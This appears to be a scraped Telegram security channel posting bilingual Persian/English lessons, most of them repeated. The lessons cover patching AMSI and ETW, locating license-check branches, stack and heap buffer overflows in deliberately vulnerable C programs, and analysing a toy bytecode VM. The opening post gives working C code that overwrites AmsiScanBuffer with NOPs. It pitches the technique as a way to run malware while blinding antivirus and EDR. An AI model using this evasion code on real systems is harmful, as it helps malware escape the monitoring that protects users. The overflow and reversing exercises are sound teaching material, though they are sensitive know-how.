🛡️ ETW Bypass + AMSI Patch
«کور کردن چشم ویندوز قبل از اجرای کد»
🎯 مشکل چیه؟
وقتی بدافزار یا اسکریپت مخرب رو روی سیستم اجرا میکنی حتی اگر AV رو دور زده باشی دو مکانیزم پیشفرض ویندوز هنوز میتونن گزارش بدن:
1 ETW
(Event Tracing for Windows)
سیستم مانیتورینگ داخلی ویندوز که کلی Event از اجرای پروسهها فراخوانی APIها و حتی Syscallها لاگ میکنه
2 AMSI (Antimalware Scan Interface)
قبل از اجرای کدهای Script-based مثل PowerShell یا VBA محتوا رو به AV میفرسته تا اسکن بشه
💡 راهحل:
ETW Bypass:
تغییر یا پچ کردن توابع ETW مثل EtwEventWrite تا چیزی لاگ نشه
AMSI Patch:
تغییر خروجی AmsiScanBuffer به S_OK یعنی کد سالمه تا AV هیچی رو مسدود نکنه
🧬 مراحل کلی ETW Bypass:
1 گرفتن آدرس تابع EtwEventWrite از ntdll.dll
2 پچ کردن چند بایت اولش (معمولا xor rax, rax; ret)
3 اطمینان از اعمال پچ قبل از شروع عملیات حساس
🧬 مراحل کلی AMSI Patch:
1 گرفتن هندل به amsi.dll
2 یافتن آدرس AmsiScanBuffer
3 تغییر اولین دستور به برگشت مقدار 0 (S_OK)
4 بعد از این هر کد مشکوک سالم گزارش میشه
🛠️ نمونه کد AMSI Patch (C):
✅ مزایا:
جلوی لاگ شدن فعالیتهای مشکوک توسط ویندوز گرفته میشه
جلوی اسکن محتوای اسکریپتها توسط AV رو میگیره
ترکیب ETW + AMSI Patch باعث میشه EDR/XDR کور بشن
⚠️ چالشها:
بسیاری از EDRها تلاش برای پچ کردن این توابع رو هم مانیتور میکنن
باید با Direct Syscalls یا Manual Unhook ترکیب بشه برای پایداری
🛡️ ETW Bypass + AMSI Patch
Blinding Windows before executing code
🎯 What’s the problem?
When you run malware or a malicious script on a system even if you’ve bypassed the AV two default Windows mechanisms can still report it:
1 ETW (Event Tracing for Windows) Windows’ internal monitoring system that logs a huge number of events from process execution API calls and even syscalls
2 AMSI (Antimalware Scan Interface)
Before executing script-based code like PowerShell or VBA it sends the content to the AV for scanning
💡 The solution:
ETW Bypass
Modify or patch ETW functions like EtwEventWrite so that nothing gets logged
AMSI Patch
Change the return value of AmsiScanBuffer to S_OK (meaning code is clean) so the AV won’t block anything
🧬 General Steps for ETW Bypass:
1 Get the address of EtwEventWrite from ntdll.dll
2 Patch the first few bytes (usually xor rax, rax; ret)
3 Ensure the patch is applied before starting sensitive operations
🧬 General Steps for AMSI Patch:
1 Get a handle to amsi.dll
2 Find the address of AmsiScanBuffer
3 Change the first instruction to return 0 (S_OK)
4 After this, any suspicious code reported as clean
🛠️ Sample AMSI Patch Code (C):
✅ Advantages:
Prevents Windows from logging suspicious activities
Stops the AV from scanning script contents
Combining ETW + AMSI patch can blind EDR/XDR solutions
⚠️ Challenges:
Many EDRs monitor attempts to patch these functions
Needs to be combined with Direct Syscalls or Manual Unhooking for stability
«کور کردن چشم ویندوز قبل از اجرای کد»
🎯 مشکل چیه؟
وقتی بدافزار یا اسکریپت مخرب رو روی سیستم اجرا میکنی حتی اگر AV رو دور زده باشی دو مکانیزم پیشفرض ویندوز هنوز میتونن گزارش بدن:
1 ETW
(Event Tracing for Windows)
سیستم مانیتورینگ داخلی ویندوز که کلی Event از اجرای پروسهها فراخوانی APIها و حتی Syscallها لاگ میکنه
2 AMSI (Antimalware Scan Interface)
قبل از اجرای کدهای Script-based مثل PowerShell یا VBA محتوا رو به AV میفرسته تا اسکن بشه
💡 راهحل:
ETW Bypass:
تغییر یا پچ کردن توابع ETW مثل EtwEventWrite تا چیزی لاگ نشه
AMSI Patch:
تغییر خروجی AmsiScanBuffer به S_OK یعنی کد سالمه تا AV هیچی رو مسدود نکنه
🧬 مراحل کلی ETW Bypass:
1 گرفتن آدرس تابع EtwEventWrite از ntdll.dll
2 پچ کردن چند بایت اولش (معمولا xor rax, rax; ret)
3 اطمینان از اعمال پچ قبل از شروع عملیات حساس
🧬 مراحل کلی AMSI Patch:
1 گرفتن هندل به amsi.dll
2 یافتن آدرس AmsiScanBuffer
3 تغییر اولین دستور به برگشت مقدار 0 (S_OK)
4 بعد از این هر کد مشکوک سالم گزارش میشه
🛠️ نمونه کد AMSI Patch (C):
#include <windows.h>
#include <stdio.h>
void PatchAMSI() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (hAmsi) {
void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
memset(pAmsiScanBuffer, 0x90, 6); // NOP
VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);
}
}
int main() {
PatchAMSI();
printf("AMSI Patched!\n");
}
✅ مزایا:
جلوی لاگ شدن فعالیتهای مشکوک توسط ویندوز گرفته میشه
جلوی اسکن محتوای اسکریپتها توسط AV رو میگیره
ترکیب ETW + AMSI Patch باعث میشه EDR/XDR کور بشن
⚠️ چالشها:
بسیاری از EDRها تلاش برای پچ کردن این توابع رو هم مانیتور میکنن
باید با Direct Syscalls یا Manual Unhook ترکیب بشه برای پایداری
🛡️ ETW Bypass + AMSI Patch
Blinding Windows before executing code
🎯 What’s the problem?
When you run malware or a malicious script on a system even if you’ve bypassed the AV two default Windows mechanisms can still report it:
1 ETW (Event Tracing for Windows) Windows’ internal monitoring system that logs a huge number of events from process execution API calls and even syscalls
2 AMSI (Antimalware Scan Interface)
Before executing script-based code like PowerShell or VBA it sends the content to the AV for scanning
💡 The solution:
ETW Bypass
Modify or patch ETW functions like EtwEventWrite so that nothing gets logged
AMSI Patch
Change the return value of AmsiScanBuffer to S_OK (meaning code is clean) so the AV won’t block anything
🧬 General Steps for ETW Bypass:
1 Get the address of EtwEventWrite from ntdll.dll
2 Patch the first few bytes (usually xor rax, rax; ret)
3 Ensure the patch is applied before starting sensitive operations
🧬 General Steps for AMSI Patch:
1 Get a handle to amsi.dll
2 Find the address of AmsiScanBuffer
3 Change the first instruction to return 0 (S_OK)
4 After this, any suspicious code reported as clean
🛠️ Sample AMSI Patch Code (C):
#include <windows.h>
#include <stdio.h>
void PatchAMSI() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (hAmsi) {
void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
memset(pAmsiScanBuffer, 0x90, 6); // NOP
VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);
}
}
int main() {
PatchAMSI();
printf("AMSI Patched!\n");
}
✅ Advantages:
Prevents Windows from logging suspicious activities
Stops the AV from scanning script contents
Combining ETW + AMSI patch can blind EDR/XDR solutions
⚠️ Challenges:
Many EDRs monitor attempts to patch these functions
Needs to be combined with Direct Syscalls or Manual Unhooking for stability
❤1👏1
پیدا کردن شرط چک لایسنس یا رمز
چی کار میکنیم؟
میخوایم بخش هایی از برنامه که رمز لایسنس رو بررسی میکنن پیدا کنیم بفهمیم چه توابعی استفاده شده و دقیقا کجا برنامه تصمیم میگیره اجازه بده یا نده
نمونه برنامه ساده مثال برای تمرین C:
مرحله به مرحله:
فایل رو کامپایل کنید مثلا gcc test.c -o test.exe و یه نسخه کپی نگه دارید
با strings test.exe نگاه کنید ببینید رشتهها مثل Enter pass: Access granted کجا هستن اینا کمک میکنن موقعیت منطقی برنامه رو حدس بزنید
فایل رو توی IDA یا Ghidra باز کنید دنبال رشتههای بالا بگردید Search _ Strings و از اونجا به تابع مربوط برید معمولا رشتهها به راحتی به توابع استفاده شون لینک میشن
توی دیاسمبل دنبال strcmp یا strncmp یا هر تابع مقایسه رشتهای باشید نزدیک این فراخوانیها معمولا شرط تصمیمگیرنده cmp + jz / jne / je / jne هست
نقطهای که بعد از cmp یه JE یا JNE میبینید همونجا تصمیم گیرنده است اگه شرط برقرار باشه برنامه به شاخه موفقیت میره وگرنه پیام رد میشه
نکات:
دنبال cmp eax, 0
یا مقایسه بازگشتی strcmp(...) == 0 باشید
رشتهها بهترین نقطه شروع برای مسیردهی در باینری هستن
همه اینا استاتیکه هنوز برنامه رو اجرا نکردید
تمرین:
خودتون کد بالا رو کامپایل کنید و توی IDA/Ghidra مسیر از رشته _ تابع cmp _ jump رو دنبال کنید
Finding the license or password
Check condition
What are we doing?
We want to find the parts of the program that check the license password, understand what functions are used and where exactly the program decides to allow or deny
Simple program example for practice C :
Step by step :
Compile the file, e.g. gcc test.c -o test.exe and keep a copy
Look at strings test.exe and see where strings like Enter pass : Access granted are. These will help you guess the logical position of the program
Open the file in IDA or Ghidra and search for the above strings. Search Strings and from there go to the corresponding function. Usually strings are easily linked to the functions they use.
Look for strcmp or strncmp or any string comparison function in the disassembler. Near these calls there is usually a decision-maker condition
cmp + jz / jne / je / jne
The point where you see a JE or JNE after cmp is the decision-maker. If the condition is true, the program goes to the success branch, otherwise the message is rejected.
Tips :
Look for cmp eax, 0
or the recursive comparison strcmp(...) == 0
Strings are the best starting point for routing in binary
This is all static you haven't run the program yet
Exercise :
Compile the above code yourself and follow the path from string cmp function jump in IDA/Ghidra
@reverseengine
چی کار میکنیم؟
میخوایم بخش هایی از برنامه که رمز لایسنس رو بررسی میکنن پیدا کنیم بفهمیم چه توابعی استفاده شده و دقیقا کجا برنامه تصمیم میگیره اجازه بده یا نده
نمونه برنامه ساده مثال برای تمرین C:
#include <stdio.h>
#include <string.h>
int main() {
char buf[32];
printf("Enter pass: ");
scanf("%31s", buf);
if (strcmp(buf, "1234") == 0) {
printf("Access granted\n");
} else {
printf("Access denied\n");
}
return 0;
}
مرحله به مرحله:
فایل رو کامپایل کنید مثلا gcc test.c -o test.exe و یه نسخه کپی نگه دارید
با strings test.exe نگاه کنید ببینید رشتهها مثل Enter pass: Access granted کجا هستن اینا کمک میکنن موقعیت منطقی برنامه رو حدس بزنید
فایل رو توی IDA یا Ghidra باز کنید دنبال رشتههای بالا بگردید Search _ Strings و از اونجا به تابع مربوط برید معمولا رشتهها به راحتی به توابع استفاده شون لینک میشن
توی دیاسمبل دنبال strcmp یا strncmp یا هر تابع مقایسه رشتهای باشید نزدیک این فراخوانیها معمولا شرط تصمیمگیرنده cmp + jz / jne / je / jne هست
نقطهای که بعد از cmp یه JE یا JNE میبینید همونجا تصمیم گیرنده است اگه شرط برقرار باشه برنامه به شاخه موفقیت میره وگرنه پیام رد میشه
نکات:
دنبال cmp eax, 0
یا مقایسه بازگشتی strcmp(...) == 0 باشید
رشتهها بهترین نقطه شروع برای مسیردهی در باینری هستن
همه اینا استاتیکه هنوز برنامه رو اجرا نکردید
تمرین:
خودتون کد بالا رو کامپایل کنید و توی IDA/Ghidra مسیر از رشته _ تابع cmp _ jump رو دنبال کنید
Finding the license or password
Check condition
What are we doing?
We want to find the parts of the program that check the license password, understand what functions are used and where exactly the program decides to allow or deny
Simple program example for practice C :
#include <stdio.h>
#include <string.h>
int main() {
char buf[32];
printf("Enter pass: ");
scanf("%31s", buf);
if (strcmp(buf, "1234") == 0) {
printf("Access granted\n");
} else {
printf("Access denied\n");
}
return 0;
}
Step by step :
Compile the file, e.g. gcc test.c -o test.exe and keep a copy
Look at strings test.exe and see where strings like Enter pass : Access granted are. These will help you guess the logical position of the program
Open the file in IDA or Ghidra and search for the above strings. Search Strings and from there go to the corresponding function. Usually strings are easily linked to the functions they use.
Look for strcmp or strncmp or any string comparison function in the disassembler. Near these calls there is usually a decision-maker condition
cmp + jz / jne / je / jne
The point where you see a JE or JNE after cmp is the decision-maker. If the condition is true, the program goes to the success branch, otherwise the message is rejected.
Tips :
Look for cmp eax, 0
or the recursive comparison strcmp(...) == 0
Strings are the best starting point for routing in binary
This is all static you haven't run the program yet
Exercise :
Compile the above code yourself and follow the path from string cmp function jump in IDA/Ghidra
@reverseengine
❤2👏1
بخش دوم بافر اورفلو
چطور استک کار میکنه؟ (فریم تابع و آدرس بازگشت)
ساختار فریم تابع در استک
نمایش saved return address و saved base pointer یادگرفتن اینکه چجوری ببینیم فریم ها داخل دیباگر و تشخیص نقاطی ان که overflow میتونه تاثیر بزاره روشون
میخایم بفهمیم وقتی یک تابع فراخوانی میشه چه چیزی روی استک قرار میگیره و چرا این برای بافر اورفلو مهمه
فریم تابع و آدرس بازگشت رو بررسی میکنیم و یاد میگیریم چطور در gdb فریم ها رو ببینیم
وقتی تابعی فراخوانی میشه یک فریم روی استک ساخته میشه فریم شامل پارامترها و local variables و saved base pointer و saved return address است
در معماری x86 64 معمولا که رجیستر rbp برای لینک فریم استفاده میشه و آدرس بازگشت بالای فریم قرار میگیره اگر یک بافر محلی روی استک قرار داشته باشه و داده بیش از حد نوشته بشه میتونه تا saved rbp و saved return address میتونه پیش بره و اونها رو بازنویسی کنه بازنویسی saved return address یعنی وقتی تابع برمیگرده برنامه ممکنه به جای آدرس درست به آدرس دیگه ای بره یا کرش کنه
نمایش فریم در دیباگر
در gdb با دستور backtrace میتونیم زنجیره فراخوانی ها رو ببینیم
با دستور info frame یا display memory میتونیم محتوای فریم جاری رو مشاهده کنیم
ما میگیم saved return address کجاست و چجوری میتونیم offset بین ابتدای بافر و آدرس بازگشت رو محاسبه کنیم
کد فایل demo2c
#include <stdio.h>
#include <string.h>
void vulnerable(char *input) {
char buffer[24];
printf("in vulnerable function\n");
strcpy(buffer, input);
printf("after strcpy\n");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage demo2 input\n");
return 1;
}
vulnerable(argv[1]);
printf("returned normally\n");
return 0;
}
راهنمای اجرا
gcc -g demo2.c -o demo2
در VM امن و با snapshot اجرا کنید
gdb --args ./demo2 $(python3 -c "print('A'*80)")
داخل gdb از دستورات زیر استفاده کنید
break vulnerable
run
info frame
x/40gx $rbp
disassemble
continue
بعد از کرش از backtrace استفاده کنید
Part 2 Buffer Overflow
How does stack work? (Function Frame and Return Address)
Function Frame Structure on the Stack
Showing Saved Return Address and Saved Base Pointer Learn how to view frames in the debugger and identify where they can be affected by overflow
We want to understand what goes on the stack when a function is called and why this is important for buffer overflow
We will examine the function frame and return address and learn how to view frames in gdb
When a function is called, a frame is created on the stack. The frame contains parameters and local variables, the saved base pointer, and the saved return address
In the x86 64 architecture, the rbp register is usually used for frame linking and the return address is placed above the frame. If a local buffer is on the stack and too much data is written, it can go up to the saved rbp and saved return address and overwrite them. Overwriting the saved return address means that when the function returns, the program may go to another address instead of the correct address or Crash
Displaying frames in the debugger
In gdb, with the backtrace command, we can see the chain of calls
With the info frame or display memory command, we can see the contents of the current frame
We say where the saved return address is and how we can calculate the offset between the beginning of the buffer and the return address
Demo2c file code
#include <stdio.h>
#include <string.h>
void vulnerable(char *input) {
char buffer[24];
printf("in vulnerable function\n");
strcpy(buffer, input);
printf("after strcpy\n");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage demo2 input\n");
return 1;
}
vulnerable(argv[1]);
printf("returned normally\n");
return 0;
}
Run Guide
gcc -g demo2.c -o demo2
Run in a secure VM with snapshot
gdb --args ./demo2 $(python3 -c "print('A'*80)")
Inside gdb use the following commands
break vulnerable
run
info frame
x/40gx $rbp
disassemble
continue
Use backtrace after crash
@reverseengine
👍3❤2
Virtualization-based protection
بعضی محافظ ها کد اصلی رو تبدیل میکنن به یه بایت کد و یه مفسر/VM داخل برنامه میذارن که این بایت کد رو اجرا کنه این باعث میشه دیساسمبل مستقیم بی معنی یا سخت باشه
چطوری تشخیص بدیم یه باینری virtualized هست؟
وجود یه لوپ dispatcher بزرگ یک حلقه طولانی که بسته به مقدارِ یه متغیر شاخه رو انتخاب میکنه
خیلی از توابع یا بلاک ها به جای ASM معمولی فراخوانی هایی به یه مفسر/تابع dispatcher دارن
حجم زیادی از جدول بایت کد یا داده های عجیب داخل بخش .rdata/.data.
کنترل جریان عجیب و شاخه های نامعمول که توی دیساسمبل قابل فهم نیستن
سرعت اجرای توابع نسبت به کد نِیِتیو خیلی پایینتر چون مفسره
ابزارای مفید برای تشخیص و آنالیز:
IDA / Ghidra برای دیدن الگوها و dispatcher
x64dbg runtime
پیدا کردن جایی که dispatcher اجرا میشه
hexdump/strings/entropy برای پیدا کردن دادههای بایت کد
نوشتن اسکریپت ساده Python برای pattern matching توی باینری
ساخت یک VM ساده کد نمونه C
این کد یه برنامه خیلی ساده میسازه که یه رشته رو چک میکنه اما به جای اینکه مستقیم cmp کنه اول یه بایت کد ساده درست میکنه و بعد یه مفسر که اونو اجرا کنه این کار شبیهسازی یه virtualizer سطح پایینه و برای تمرین خیلی خوبه
نمونه کد کپی کنید و روی ماشین توسعه/VM خودتون کامپایل کنید
vm.c
کامپایل:
آنالیز استاتیک:
strings simple_vm
رو اجرا کنید و ببینید رشته ها کجا هستن
فایل رو توی IDA/Ghidra باز کنید دنبال تابع run_vm بگردید توی دیس اسمبل میبینید یه حلقه با switch/case و داده prog[] این همون dispatcher/binary bytecode هست
آنالیز داینامیک:
فایل رو با x64dbg باز کنید یک breakpoint بذارید روی run_vm یا روی آدرس آرایه prog
برنامه رو با ورودیهای مختلف اجرا کنید و ببینید چطور مسیر dispatcher تغییر میکنه
هدف اینه که بفهمید کجا بایتکدها هستن dispatcher چطوری براشون کار میکنه و منطق مقایسه کجاست
تشخیص VM:
dispatcher loop جدول بایت کد در دادهها فراخوانی مکرر مفسر
چجوری از استاتیک و داینامیک با هم استفاده میکنیم: استاتیک بایت کد رو پیدا میکنه داینامیک نشون میده runtime چه اتفاقی میوفته
devirtualization:
هدف اولی شناسایی dispatcher و داده بایت کد و مستند سازی منطق اجراست بعد میشه بایت کدها رو استخراج و معنی شون رو بازسازی کرد
Virtualization-based protection
Some protectors convert the source code into bytecode and embed an interpreter/VM inside the program to execute this bytecode, making direct disassembly pointless or difficult
How do we tell if a binary is virtualized?
A large dispatcher loop, a long loop that selects a branch depending on the value of a variable
Many functions or blocks have calls to an interpreter/dispatcher function instead of regular ASM
A large bytecode table or strange data in the .rdata/.data section.
Strange flow control and unusual branches that are not understandable in disassembly
Execution speed of functions is much lower than native code because it is interpreted
Useful tools for diagnostics and analysis:
IDA / Ghidra to see patterns and dispatcher
x64dbg runtime
@reverseengine
بعضی محافظ ها کد اصلی رو تبدیل میکنن به یه بایت کد و یه مفسر/VM داخل برنامه میذارن که این بایت کد رو اجرا کنه این باعث میشه دیساسمبل مستقیم بی معنی یا سخت باشه
چطوری تشخیص بدیم یه باینری virtualized هست؟
وجود یه لوپ dispatcher بزرگ یک حلقه طولانی که بسته به مقدارِ یه متغیر شاخه رو انتخاب میکنه
خیلی از توابع یا بلاک ها به جای ASM معمولی فراخوانی هایی به یه مفسر/تابع dispatcher دارن
حجم زیادی از جدول بایت کد یا داده های عجیب داخل بخش .rdata/.data.
کنترل جریان عجیب و شاخه های نامعمول که توی دیساسمبل قابل فهم نیستن
سرعت اجرای توابع نسبت به کد نِیِتیو خیلی پایینتر چون مفسره
ابزارای مفید برای تشخیص و آنالیز:
IDA / Ghidra برای دیدن الگوها و dispatcher
x64dbg runtime
پیدا کردن جایی که dispatcher اجرا میشه
hexdump/strings/entropy برای پیدا کردن دادههای بایت کد
نوشتن اسکریپت ساده Python برای pattern matching توی باینری
ساخت یک VM ساده کد نمونه C
این کد یه برنامه خیلی ساده میسازه که یه رشته رو چک میکنه اما به جای اینکه مستقیم cmp کنه اول یه بایت کد ساده درست میکنه و بعد یه مفسر که اونو اجرا کنه این کار شبیهسازی یه virtualizer سطح پایینه و برای تمرین خیلی خوبه
نمونه کد کپی کنید و روی ماشین توسعه/VM خودتون کامپایل کنید
vm.c
#include <stdio.h>
#include <string.h>
#include <stdint.h>
uint8_t prog[] = {
0x01, /* LOAD_INPUT */
0x10, /* expect length (16) or unused */
0x02, /* CMP_CONST */
'1','2','3','4',0, /* const "1234" + null */
0x03 /* HALT/END */
};
int run_vm(const char *input) {
int ip = 0;
while (ip < sizeof(prog)) {
uint8_t op = prog[ip++];
switch (op) {
case 0x01: // LOAD_INPUT -- store pointer (no-op for this demo)
// nothing to do; in real vm you'd load bytes to vm memory
break;
case 0x02: { // CMP_CONST
const char *c = (const char*)&prog[ip];
ip += 5; // length of constant in this toy example
if (strcmp(input, c) == 0) return 1;
break;
}
case 0x03:
return 0;
default:
return 0;
}
}
return 0;
}
int main(int argc, char **argv) {
if (argc < 2) { printf("usage: %s <pass>\n", argv[0]); return 0; }
if (run_vm(argv[1])) printf("Access granted\n");
else printf("Access denied\n");
return 0;
}
کامپایل:
gcc simple_vm.c -o simple_vm
آنالیز استاتیک:
strings simple_vm
رو اجرا کنید و ببینید رشته ها کجا هستن
فایل رو توی IDA/Ghidra باز کنید دنبال تابع run_vm بگردید توی دیس اسمبل میبینید یه حلقه با switch/case و داده prog[] این همون dispatcher/binary bytecode هست
آنالیز داینامیک:
فایل رو با x64dbg باز کنید یک breakpoint بذارید روی run_vm یا روی آدرس آرایه prog
برنامه رو با ورودیهای مختلف اجرا کنید و ببینید چطور مسیر dispatcher تغییر میکنه
هدف اینه که بفهمید کجا بایتکدها هستن dispatcher چطوری براشون کار میکنه و منطق مقایسه کجاست
تشخیص VM:
dispatcher loop جدول بایت کد در دادهها فراخوانی مکرر مفسر
چجوری از استاتیک و داینامیک با هم استفاده میکنیم: استاتیک بایت کد رو پیدا میکنه داینامیک نشون میده runtime چه اتفاقی میوفته
devirtualization:
هدف اولی شناسایی dispatcher و داده بایت کد و مستند سازی منطق اجراست بعد میشه بایت کدها رو استخراج و معنی شون رو بازسازی کرد
Virtualization-based protection
Some protectors convert the source code into bytecode and embed an interpreter/VM inside the program to execute this bytecode, making direct disassembly pointless or difficult
How do we tell if a binary is virtualized?
A large dispatcher loop, a long loop that selects a branch depending on the value of a variable
Many functions or blocks have calls to an interpreter/dispatcher function instead of regular ASM
A large bytecode table or strange data in the .rdata/.data section.
Strange flow control and unusual branches that are not understandable in disassembly
Execution speed of functions is much lower than native code because it is interpreted
Useful tools for diagnostics and analysis:
IDA / Ghidra to see patterns and dispatcher
x64dbg runtime
@reverseengine
❤1
Find where dispatcher is executed
hexdump/strings/entropy to find bytecode data
Write a simple Python script for pattern matching in binary
Build a simple VM Sample C code
This code creates a very simple program that checks a string, but instead of cmp directly, it first creates a simple bytecode and then an interpreter to execute it. This is a low-level simulation of a virtualizer and is very good for practice
Copy the sample code and compile it on your development machine/VM
vm.c
Compile:
Static analysis:
Run strings simple_vm
and see where the strings are
Open the file in IDA/Ghidra and look for the function run_vm. In the disassembler you will see a loop with switch/case and data prog[] this is the dispatcher/binary bytecode
Dynamic analysis:
Open the file with x64dbg and set a breakpoint on run_vm or on the address of the array prog
Run the program with different inputs and see how the dispatcher path changes
The goal is to understand where the bytecodes are, how the dispatcher works for them and where the comparison logic is
VM detection:
dispatcher loop bytecode table in data repeated calls to the interpreter
How do we use static and dynamic together: static finds the bytecode dynamic shows the runtime what is happening It turns out
devirtualization:
The first goal is to identify the dispatcher and data bytecodes and document the execution logic. Then the bytecodes can be extracted and their meaning reconstructed.
@reverseengine
hexdump/strings/entropy to find bytecode data
Write a simple Python script for pattern matching in binary
Build a simple VM Sample C code
This code creates a very simple program that checks a string, but instead of cmp directly, it first creates a simple bytecode and then an interpreter to execute it. This is a low-level simulation of a virtualizer and is very good for practice
Copy the sample code and compile it on your development machine/VM
vm.c
#include <stdio.h>
#include <string.h>
#include <stdint.h>
uint8_t prog[] = {
0x01, /* LOAD_INPUT */
0x10, /* expect length (16) or unused */
0x02, /* CMP_CONST */
'1','2','3','4',0, /* const "1234" + null */
0x03 /* HALT/END */
};
int run_vm(const char *input) {
int ip = 0;
while (ip < sizeof(prog)) {
uint8_t op = prog[ip++];
switch (op) {
case 0x01: // LOAD_INPUT -- store pointer (no-op for this demo)
// nothing to do; in real vm you'd load bytes to vm memory
break
case 0x02: { // CMP_CONST
const char *c = (const char*)&prog[ip];
ip += 5; // length of constant in this toy example
if (strcmp(input, c) == 0) return 1;
break
}
case 0x03:
return 0;
default:
return 0;
}
}
return 0;
}
int main(int argc, char **argv) {
if (argc < 2) { printf("usage: %s <pass>\n", argv[0]); return 0; }
if (run_vm(argv[1])) printf("Access granted\n");
else printf("Access denied\n");
return 0;
}
Compile:
gcc simple_vm.c -o simple_vm
Static analysis:
Run strings simple_vm
and see where the strings are
Open the file in IDA/Ghidra and look for the function run_vm. In the disassembler you will see a loop with switch/case and data prog[] this is the dispatcher/binary bytecode
Dynamic analysis:
Open the file with x64dbg and set a breakpoint on run_vm or on the address of the array prog
Run the program with different inputs and see how the dispatcher path changes
The goal is to understand where the bytecodes are, how the dispatcher works for them and where the comparison logic is
VM detection:
dispatcher loop bytecode table in data repeated calls to the interpreter
How do we use static and dynamic together: static finds the bytecode dynamic shows the runtime what is happening It turns out
devirtualization:
The first goal is to identify the dispatcher and data bytecodes and document the execution logic. Then the bytecodes can be extracted and their meaning reconstructed.
@reverseengine
❤4
بخش سوم بافر اور فلو
تفاوت های مهم بین استک هیپ و خطاهای off by one رو بررسی میکنیم
توضیح stack overflow
استک جاییه که فریم تابع ها قرار میگیره و معمولا بافر های محلی اینجا ساخته میشن
استک overflow زمانی رخ میده که نوشته های بیش از اندازه به بافر محلی برسن و بخش هایی مثل saved rbp و saved return address رو بازنویسی کنه
در عمل این نوع باعث کرش سریع میشه و معمولا به صورت overwrite روی فریم جاری قابل مشاهده هست
توضیح کد استک
در این کد یک تابع بافر محلی داره و با strcpy مقدار وارد شده رو کپی میکنه
دیدن کرش و بررسی saved return address در gdb هست
کد استک فایل stack.c
#include <stdio.h>
#include <string.h>
void vuln(char *s) {
char buf[32];
printf("inside vuln\n");
strcpy(buf, s);
printf("buf says %s\n", buf);
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage stack input\n");
return 1;
}
vuln(argv[1]);
printf("returned normally\n");
return 0;
}
دستورات اجرا و دیباگ مربوط به استک
این دستورات رو اجرا کنید تا کرش و فریم رو ببینید
gcc -g stack.c -o stack
gdb --args ./stack $(python3 -c "print('A'*80)")
داخل gdb
break vuln
run
info frame
x/40gx $rbp
backtrace
Part Three Buffer Overflow
We examine important differences between stack, heap, and off‑by‑one errors
Explanation stack overflow
The stack is where function frames are placed and local buffers are usually allocated
A stack overflow occurs when writes exceed a local buffer and overwrite areas like saved rbp and the saved return address
In practice this type causes a fast crash and is usually visible as an overwrite on the current frame
Explanation stack code
In this code a function has a local buffer and uses strcpy to copy the supplied input
You will see the crash and inspect the saved return address in gdb
Stack source file stack.c
#include <stdio.h>
#include <string.h>
void vuln(char *s) {
char buf[32];
printf("inside vuln\n");
strcpy(buf, s);
printf("buf says %s\n", buf);
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage stack input\n");
return 1;
}
vuln(argv[1]);
printf("returned normally\n");
return 0;
}
Commands to build and debug the stack
Run these commands to see the crash and inspect the frame
gcc -g stack.c -o stack
gdb --args ./stack $(python3 -c "print('A'*80)")
Inside gdb
break vuln
run
info frame
x/40gx $rbp
backtrace
@reverseengine
❤3
بخش چهارم بافر اورفلو
توضیح heap overflow
هیپ جایی که برای تخصیص حافظه پویا با malloc calloc یا new
heap overflow زمانی رخ میده که داده ای زیاد در بلاک های heap نوشته بشه
متادیتای allocator یا بلاک های همجوار رو خراب میکنه
خطاهای heap معمولا با کرش در توابع libc یا هنگام free کردن حافظه دیده میشن و ردگیری اونها با tools مثل valgrind یا heap debugger مفیده
کد هیپ
در این کد یک بلوک روی heap اختصاص داده شده و بعد با memset مقدار بیشتری از اندازه نوشته میشه
هدف دیدن خطا در زمان free یا گزارش valgrind هست
کد هیپ فایل any_heap.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char *p = malloc(32);
if (!p) return 1;
printf("allocated 32 bytes on heap\n");
/* intentionally overflow the heap block for any_heap
do not use this pattern in real code */
memset(p, 'A', 64);
free(p);
printf("freed block\n");
return 0;
}
دستورات اجرا و بررسی heap
از valgrind یا malloc debug استفاده کنید تا متادیتا یا خطاها رو ببینید
gcc -g any_heap.c -o any_heap
valgrind --leak-check=full ./
any_heap
# یا اجرا در محیطی با malloc debug فعال
نکات که هنگام نوشتن کد باید بدونیم خطاهای هیپ ممکنه فوری کرش نکنن و اغلب در زمان free یا عملیات بعدی ظاهر میشن
از ابزارهایی مثل valgrind یا malloc debug برای ردگیری استفاده کنید
Part 4 Buffer Overflow
Heap Overflow Explanation
Heap where to allocate dynamic memory with malloc calloc or new
Heap overflow occurs when too much data is written to heap blocks
Corrupts allocator metadata or adjacent blocks
Heap errors are usually seen with crashes in libc functions or when freeing memory and are useful to trace with tools like valgrind or heap debugger
Heap Code
In this code, a block is allocated on the heap and then written with memset more than the size
The goal is to see the error at free time or in valgrind reports
Heap Code File any_heap.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char *p = malloc(32);
if (!p) return 1;
printf("allocated 32 bytes on heap\n");
/* intentionally overflow the heap block for any_heap
do not use this pattern in real code */
memset(p, 'A', 64);
free(p);
printf("freed block\n");
return 0;
}
Heap execution and inspection commands
Use valgrind or malloc debug to see metadata or errors
gcc -g any_heap.c -o any_heap
valgrind --leak-check=full ./
any_heap
# or run in an environment with malloc debug enabled
Things to know when writing code Heap errors may not crash immediately and often appear during free or subsequent operations
Use tools like valgrind or malloc debug for tracing
@reverseengine
❤1
Binary Exploitation (اکسپلویت باینری)
یعنی پیدا کردن و سواستفاده از باگها یا ضعفهای امنیتی داخل برنامههای باینری Executable ها برای تغییر جریان اجرای برنامه یا اجرای کد دلخواه مهاجم
تعریف سادهتر:
